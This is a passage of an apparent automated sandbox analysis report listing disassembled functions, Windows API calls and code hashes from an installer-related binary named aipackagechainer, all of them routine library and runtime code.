                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00279143
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorLast$EventObjectSingleWait
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3600396749-0
                                                                                                                                                                                                                                                  • Opcode ID: 5b9d6f8c6ccc76c77c0cd6bd9bf9a7edecdbe153dfc1c0a089f21abfd74135d5
                                                                                                                                                                                                                                                  • Instruction ID: 1bbcb505ecf8adec34370e8e8cd27fefeaf5d53f9a5f9a7a788efe3ee9ee2bb8
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5b9d6f8c6ccc76c77c0cd6bd9bf9a7edecdbe153dfc1c0a089f21abfd74135d5
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: B4F0AE316143169BC710AF74EC48926B7A4BF5A330B168629E169931A0DB70A861DB54
                                                                                                                                                                                                                                                  Function 0029AA42 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,00299646,00000000,00000001,00000000,00000000,?,00290152,00000000,00000000,00000000), ref: 0029AA59
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,00299646,00000000,00000001,00000000,00000000,?,00290152,00000000,00000000,00000000,00000000,00000000,?,002906D9,00000000), ref: 0029AA65
                                                                                                                                                                                                                                                    • Part of subcall function 0029AA2B: CloseHandle.KERNEL32(FFFFFFFE,0029AA75,?,00299646,00000000,00000001,00000000,00000000,?,00290152,00000000,00000000,00000000,00000000,00000000), ref: 0029AA3B
                                                                                                                                                                                                                                                  • ___initconout.LIBCMT ref: 0029AA75
                                                                                                                                                                                                                                                    • Part of subcall function 0029A9ED: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0029AA1C,00299633,00000000,?,00290152,00000000,00000000,00000000,00000000), ref: 0029AA00
                                                                                                                                                                                                                                                  • WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,00299646,00000000,00000001,00000000,00000000,?,00290152,00000000,00000000,00000000,00000000), ref: 0029AA8A
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2744216297-0
                                                                                                                                                                                                                                                  • Opcode ID: c577cac2beede39b3cc0c37d16ab730da1751a8804b1d59ec0613cc02874ae74
                                                                                                                                                                                                                                                  • Instruction ID: 7d0915d903352049f3d4cc293d8ba9c92c3136ac0e0ff5ada818817d0f8bca7b
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c577cac2beede39b3cc0c37d16ab730da1751a8804b1d59ec0613cc02874ae74
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: F6F01C36512226BBCF622F91ED0CD893F66FB493A0F168010FA0995120DA328C30DBD2
                                                                                                                                                                                                                                                  Function 0027C5BF Relevance: 6.0, APIs: 4, Instructions: 25COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • SleepConditionVariableCS.KERNELBASE(?,0027C55C,00000064), ref: 0027C5E2
                                                                                                                                                                                                                                                  • LeaveCriticalSection.KERNEL32(002D7FD4,00000000,?,0027C55C,00000064,?,002135E6,002D88D0,4938EAB5,00000000,?,0029BA2D,000000FF,?,0024D125,4938EAB5), ref: 0027C5EC
                                                                                                                                                                                                                                                  • WaitForSingleObjectEx.KERNEL32(00000000,00000000,?,0027C55C,00000064,?,002135E6,002D88D0,4938EAB5,00000000,?,0029BA2D,000000FF,?,0024D125,4938EAB5), ref: 0027C5FD
                                                                                                                                                                                                                                                  • EnterCriticalSection.KERNEL32(002D7FD4,?,0027C55C,00000064,?,002135E6,002D88D0,4938EAB5,00000000,?,0029BA2D,000000FF,?,0024D125,4938EAB5), ref: 0027C604
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3269011525-0
                                                                                                                                                                                                                                                  • Opcode ID: 361126fe7eaf7a48981377ce468cd73241f49ae033a9feb4e4bef8b46a018e97
                                                                                                                                                                                                                                                  • Instruction ID: 66b19b1ee703a08de151fe4150516f17aefb170908cbeaf26679c31bb10cb2cc
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 361126fe7eaf7a48981377ce468cd73241f49ae033a9feb4e4bef8b46a018e97
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: C3E09231919124AFCE211F50FC0CE9D3F1DEB06751B024012F90976A60DB751D218BD1
                                                                                                                                                                                                                                                  Function 00294FFD Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 373COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID: p`-$p`-
                                                                                                                                                                                                                                                  • API String ID: 0-455248977
                                                                                                                                                                                                                                                  • Opcode ID: 212bab068dd098a825d3820a1b913a1a0c6d98d79beca35d6d7a889393103fa2
                                                                                                                                                                                                                                                  • Instruction ID: 058739b0d34a448b2a647febd00a6b21b33e68be4c59f1d5ad45073c01d9a264
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 212bab068dd098a825d3820a1b913a1a0c6d98d79beca35d6d7a889393103fa2
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 17C13376E50205BBDF21DBA8CC82FEE77F8AB08700F144165FA05EB2C2D674E9558B64
                                                                                                                                                                                                                                                  Function 00239B80 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 219COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • SymCleanup.DBGHELP(?,4938EAB5,00000004,00000000,Function_0008B840,000000FF), ref: 00239E0C
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Cleanup
                                                                                                                                                                                                                                                  • String ID: $90#
                                                                                                                                                                                                                                                  • API String ID: 99945797-2250855012
                                                                                                                                                                                                                                                  • Opcode ID: 313afd45434a1dfee28743fa3b52f6f433586e4f454445bd843113142f1413c3
                                                                                                                                                                                                                                                  • Instruction ID: 9f94a1fe7fb85c6996ebc524b9c45cf1430d809dc02069c9c3610ce99ba68fad
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 313afd45434a1dfee28743fa3b52f6f433586e4f454445bd843113142f1413c3
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: B281C0B1D20258DFDB04EFA8C845BEDBBB5FF19714F040159E815AB291DBB0AA54CB90
                                                                                                                                                                                                                                                  Function 0028871D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • __startOneArgErrorHandling.LIBCMT ref: 002887AD
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorHandling__start
                                                                                                                                                                                                                                                  • String ID: pow
                                                                                                                                                                                                                                                  • API String ID: 3213639722-2276729525
                                                                                                                                                                                                                                                  • Opcode ID: 84109e6f82242be55fcfb645a90405b7042294157d3e2c8fa3ec2060498328bd
                                                                                                                                                                                                                                                  • Instruction ID: 2fae1c4a51a3116441f0adcf6959deb398e13fa2898b7e7fb915ad83f9c3104d
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 84109e6f82242be55fcfb645a90405b7042294157d3e2c8fa3ec2060498328bd
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 03519C69A36203E6DF117F14DD0136A7BA4DB50701FB08D58E1D9822EAEF748CB8DB46
                                                                                                                                                                                                                                                  Function 0024DD20 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 160COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID: .url$URL
                                                                                                                                                                                                                                                  • API String ID: 0-2674294872
                                                                                                                                                                                                                                                  • Opcode ID: 7325406f27b7eb62342528cf967deeb9480edbb005c09577a1f543586f5ab12c
                                                                                                                                                                                                                                                  • Instruction ID: f7d72dcecce40170ddd7c2d32e5072e29aa2bdf5c48816c68fe5cd5afbbc8b91
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7325406f27b7eb62342528cf967deeb9480edbb005c09577a1f543586f5ab12c
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: D7517E71A1060A9FDB14DF68C884B9EBBF5FF48720F158259E825EB291DB31DD50CB90
                                                                                                                                                                                                                                                  Function 00216540 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 158COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • PathIsUNCW.SHLWAPI(?,4938EAB5), ref: 002165E1
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Path
                                                                                                                                                                                                                                                  • String ID: \\?\$\\?\UNC\
                                                                                                                                                                                                                                                  • API String ID: 2875597873-3019864461
                                                                                                                                                                                                                                                  • Opcode ID: e93a1f8f13b6dfec4e89a56cfd19889708444e53ff0e2d5d8104e657845406b6
                                                                                                                                                                                                                                                  • Instruction ID: b06df27a81eccf28f282f253176caf67d07ad9ea12e90714b56a0d554b69fa57
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e93a1f8f13b6dfec4e89a56cfd19889708444e53ff0e2d5d8104e657845406b6
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6551AF71D202049BDB14DF68D889BAEB7F5FF65304F10861DE80167281DB75A9A8CBA0
                                                                                                                                                                                                                                                  Function 002393F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 153COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetModuleFileNameW.KERNEL32(00000000,?,00000104,4938EAB5), ref: 00239442
                                                                                                                                                                                                                                                  • LeaveCriticalSection.KERNEL32(?,4938EAB5,?,00000000,0029B840,000000FF,?,80004005), ref: 0023959F
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CriticalFileLeaveModuleNameSection
                                                                                                                                                                                                                                                  • String ID: LOG
                                                                                                                                                                                                                                                  • API String ID: 1232429956-429402703
                                                                                                                                                                                                                                                  • Opcode ID: fb0abecd5f7912b8de9c24a5b6b91d47128c0ca3723ceff07336cbd55405ec3b
                                                                                                                                                                                                                                                  • Instruction ID: c4183a491b74954607d1101f5841f114dc8f13be8dfec02728d694bce2a7c042
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: fb0abecd5f7912b8de9c24a5b6b91d47128c0ca3723ceff07336cbd55405ec3b
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 055147B1A202449FCF15DF28C8057BA77F9FF46700F14856AE80ADB741E7B19995CB80
                                                                                                                                                                                                                                                  Function 0025DA90 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 147synchronizationCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,00000000,00000001,08000000), ref: 0025DB14
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,0000000A,?,00000000,00000001,08000000), ref: 0025DB4D
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorHeapLastObjectProcessSingleWait
                                                                                                                                                                                                                                                  • String ID: REST %u
                                                                                                                                                                                                                                                  • API String ID: 1530046183-3183379045
                                                                                                                                                                                                                                                  • Opcode ID: b6be5c4bf1bef19758f5f106a650aa9ee63be03ed644986f802406463f110cc6
                                                                                                                                                                                                                                                  • Instruction ID: daf11d44ed4c4a9352b6eb3f7654c428ce42de19b6779d2e748a86fbba39eaa5
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b6be5c4bf1bef19758f5f106a650aa9ee63be03ed644986f802406463f110cc6
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: D5512730610605DFDB30CF68CC88B6AB7E6FF41329F158669E8168B6A1DB70EC59CB44
                                                                                                                                                                                                                                                  Function 00239230 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetTempPathW.KERNEL32(00000104,?,4938EAB5,?,?,002D8AF4), ref: 0023926F
                                                                                                                                                                                                                                                  • CreateDirectoryW.KERNEL32(?,00000000,?,002D8AF4), ref: 002392D0
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CreateDirectoryPathTemp
                                                                                                                                                                                                                                                  • String ID: ADVINST_LOGS
                                                                                                                                                                                                                                                  • API String ID: 2885754953-2492584244
                                                                                                                                                                                                                                                  • Opcode ID: ae3c6ee2b76cacf8d436a6e9158d91212e141f7b69ba96ee7b3011f51902dc67
                                                                                                                                                                                                                                                  • Instruction ID: 8f53551e0b0b0875f44c7d0bd261d3456712b5dd69835ca2eb1c460cdb9be06d
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ae3c6ee2b76cacf8d436a6e9158d91212e141f7b69ba96ee7b3011f51902dc67
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5851D2B592021ACBCB209F28C8487BAB3B4FF16314F1446AED859972D0EBB44DD1CB90
                                                                                                                                                                                                                                                  Function 00295BA2 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 0028D3E6: HeapFree.KERNEL32(00000000,00000000,?,00286E8D,00000000,?,?,0024F90D,?,?,00000000,0024CF81,4938EAB5), ref: 0028D3FC
                                                                                                                                                                                                                                                    • Part of subcall function 0028D3E6: GetLastError.KERNEL32(?,?,00286E8D,00000000,?,?,0024F90D,?,?,00000000,0024CF81,4938EAB5), ref: 0028D407
                                                                                                                                                                                                                                                  • ___free_lconv_mon.LIBCMT ref: 00295BE6
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorFreeHeapLast___free_lconv_mon
                                                                                                                                                                                                                                                  • String ID: Xb-$p`-
                                                                                                                                                                                                                                                  • API String ID: 4068849827-2864208545
                                                                                                                                                                                                                                                  • Opcode ID: 2d6fb00e4aa76353705bacba6dcd4453310150e7a80cef9bf562bbd2de59eb83
                                                                                                                                                                                                                                                  • Instruction ID: 9ab1b00ac7922e0fce4ab18a58b8d45d6c07d794cc0709633d5ad0022dc88035
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2d6fb00e4aa76353705bacba6dcd4453310150e7a80cef9bf562bbd2de59eb83
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0C313831A25B16AFEF32AF38D885B5A73E8AF00350F14486AE055D66D1DB70E9A4CF11
                                                                                                                                                                                                                                                  Function 0028061E Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • EncodePointer.KERNEL32(00000000,?), ref: 00280643
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: EncodePointer
                                                                                                                                                                                                                                                  • String ID: MOC$RCC
                                                                                                                                                                                                                                                  • API String ID: 2118026453-2084237596
                                                                                                                                                                                                                                                  • Opcode ID: fcadf053dacc853a7288b0159a1ce254148cdfc8d9c4532bf63962643f359929
                                                                                                                                                                                                                                                  • Instruction ID: ae76c2451e201d46df2194c9b2c6ce22a2f86cbf8d58dca6ee384f72a7259088
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: fcadf053dacc853a7288b0159a1ce254148cdfc8d9c4532bf63962643f359929
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5E418C7691220AAFDF15EF94CC81AEEBBB5FF48300F198199F90867291D335A960DF50
                                                                                                                                                                                                                                                  Function 00218D20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00218D4B
                                                                                                                                                                                                                                                  • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00218DAE
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
